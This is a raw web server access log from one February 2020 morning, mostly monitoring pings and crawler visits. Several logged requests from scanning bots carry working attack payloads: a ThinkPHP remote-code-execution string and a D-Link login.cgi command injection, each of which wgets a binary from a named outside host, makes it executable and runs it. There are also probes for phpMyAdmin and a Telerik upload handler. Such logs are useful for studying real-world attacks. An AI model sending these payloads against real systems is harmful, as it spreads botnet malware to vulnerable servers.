178.216.105.91 - - [11/Feb/2020:09:10:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.216.105.91 - - [11/Feb/2020:09:10:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:09:11:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:12:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.72.67.197 - - [11/Feb/2020:09:13:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
183.80.19.10 - - [11/Feb/2020:09:13:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:09:13:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:14:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:15:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.251.209.19 - - [11/Feb/2020:09:16:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:09:16:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.19.119.46 - - [11/Feb/2020:09:17:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:09:17:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:18:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:19:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:20:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:21:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:22:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.33 - - [11/Feb/2020:09:23:07 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
83.97.20.33 - - [11/Feb/2020:09:23:21 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
83.97.20.33 - - [11/Feb/2020:09:23:35 +0100] "HEAD / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [11/Feb/2020:09:23:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.224.5 - - [11/Feb/2020:09:24:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
83.97.20.33 - - [11/Feb/2020:09:24:16 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
83.97.20.33 - - [11/Feb/2020:09:24:30 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
212.91.246.72 - - [11/Feb/2020:09:24:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:25:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:26:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:27:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.34.172.19 - - [11/Feb/2020:09:28:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:09:28:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:29:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:30:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:31:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:32:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:33:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.183.61 - - [11/Feb/2020:09:34:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:09:34:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.42.74.66 - - [11/Feb/2020:09:35:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:09:35:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:36:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.64.77.197 - - [11/Feb/2020:09:37:24 +0100] "GET / HTTP/1.1" 200 1229 "http://212.91.246.81:80" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
212.64.77.197 - - [11/Feb/2020:09:37:24 +0100] "GET /index.php HTTP/1.1" 404 314 "http://212.91.246.81:80/index.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
212.91.246.72 - - [11/Feb/2020:09:37:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.112.192.120 - - [11/Feb/2020:09:37:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:09:38:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.142.197.226 - - [11/Feb/2020:09:38:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.64.77.197 - - [11/Feb/2020:09:38:59 +0100] "GET / HTTP/1.1" 200 1229 "http://212.91.246.86:80" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
212.64.77.197 - - [11/Feb/2020:09:38:59 +0100] "GET /index.php HTTP/1.1" 404 314 "http://212.91.246.86:80/index.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
212.64.77.197 - - [11/Feb/2020:09:39:01 +0100] "GET / HTTP/1.1" 200 1229 "http://212.91.246.83:80" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
212.64.77.197 - - [11/Feb/2020:09:39:03 +0100] "GET /index.php HTTP/1.1" 404 314 "http://212.91.246.83:80/index.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
212.64.77.197 - - [11/Feb/2020:09:39:20 +0100] "GET / HTTP/1.1" 200 1229 "http://212.91.246.82:80" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
212.64.77.197 - - [11/Feb/2020:09:39:21 +0100] "GET /index.php HTTP/1.1" 404 314 "http://212.91.246.82:80/index.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
212.91.246.72 - - [11/Feb/2020:09:39:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.57.69 - - [11/Feb/2020:09:40:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:09:40:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.64.77.197 - - [11/Feb/2020:09:40:53 +0100] "GET / HTTP/1.1" 200 1229 "http://212.91.246.80:80" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
212.64.77.197 - - [11/Feb/2020:09:40:54 +0100] "GET /index.php HTTP/1.1" 404 314 "http://212.91.246.80:80/index.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
212.91.246.72 - - [11/Feb/2020:09:41:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.80.39.65 - - [11/Feb/2020:09:42:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [11/Feb/2020:09:42:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.64.77.197 - - [11/Feb/2020:09:43:04 +0100] "GET / HTTP/1.1" 200 1229 "http://212.91.246.85:80" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
212.64.77.197 - - [11/Feb/2020:09:43:04 +0100] "GET /index.php HTTP/1.1" 404 314 "http://212.91.246.85:80/index.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
66.253.233.35 - - [11/Feb/2020:09:43:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.64.77.197 - - [11/Feb/2020:09:43:35 +0100] "GET / HTTP/1.1" 200 1229 "http://212.91.246.84:80" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
212.64.77.197 - - [11/Feb/2020:09:43:35 +0100] "GET /index.php HTTP/1.1" 404 314 "http://212.91.246.84:80/index.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
212.91.246.72 - - [11/Feb/2020:09:43:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.220.57 - - [11/Feb/2020:09:44:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.64.77.197 - - [11/Feb/2020:09:44:17 +0100] "GET / HTTP/1.1" 200 1229 "http://212.91.246.89:80" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
212.64.77.197 - - [11/Feb/2020:09:44:17 +0100] "GET /index.php HTTP/1.1" 404 314 "http://212.91.246.89:80/index.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
212.91.246.72 - - [11/Feb/2020:09:44:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.138.41.173 - - [11/Feb/2020:09:45:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.41.173 - - [11/Feb/2020:09:45:07 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.41.173 - - [11/Feb/2020:09:45:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.41.173 - - [11/Feb/2020:09:45:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
212.91.246.72 - - [11/Feb/2020:09:45:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.189.7.122 - - [11/Feb/2020:09:46:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.64.77.197 - - [11/Feb/2020:09:46:26 +0100] "GET / HTTP/1.1" 200 1229 "http://212.91.246.88:80" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
212.64.77.197 - - [11/Feb/2020:09:46:26 +0100] "GET /index.php HTTP/1.1" 404 314 "http://212.91.246.88:80/index.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
212.91.246.72 - - [11/Feb/2020:09:46:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:47:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.59.200 - - [11/Feb/2020:09:48:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
83.242.56.236 - - [11/Feb/2020:09:48:28 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.64.77.197 - - [11/Feb/2020:09:48:30 +0100] "GET / HTTP/1.1" 200 1229 "http://212.91.246.87:80" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
212.64.77.197 - - [11/Feb/2020:09:48:31 +0100] "GET /index.php HTTP/1.1" 404 314 "http://212.91.246.87:80/index.php" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"
212.91.246.72 - - [11/Feb/2020:09:48:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:49:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.110.95.197 - - [11/Feb/2020:09:50:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
169.197.108.42 - - [11/Feb/2020:09:50:11 +0100] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:09:50:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:51:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.49.1.42 - - [11/Feb/2020:09:51:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [11/Feb/2020:09:52:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:53:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.42 - - [11/Feb/2020:09:54:08 +0100] "GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:09:54:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:55:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:56:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.133.29.214 - - [11/Feb/2020:09:57:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:09:57:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.50.190 - - [11/Feb/2020:09:57:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:09:58:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:09:59:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:00:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:01:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:02:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [11/Feb/2020:10:03:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:10:03:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:04:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.137.167.100 - - [11/Feb/2020:10:05:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:10:05:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.107.233.78 - - [11/Feb/2020:10:06:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
103.195.36.46 - - [11/Feb/2020:10:06:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:10:06:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.44.64.219 - - [11/Feb/2020:10:07:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:10:07:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:08:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.36.76 - - [11/Feb/2020:10:09:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:10:09:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.134.118.93 - - [11/Feb/2020:10:10:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:10:10:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:11:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:12:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:13:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:14:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:15:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.88.113 - - [11/Feb/2020:10:16:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:10:16:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:17:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:18:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.217.63.226 - - [11/Feb/2020:10:18:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:10:19:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:20:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:21:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:10:22:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
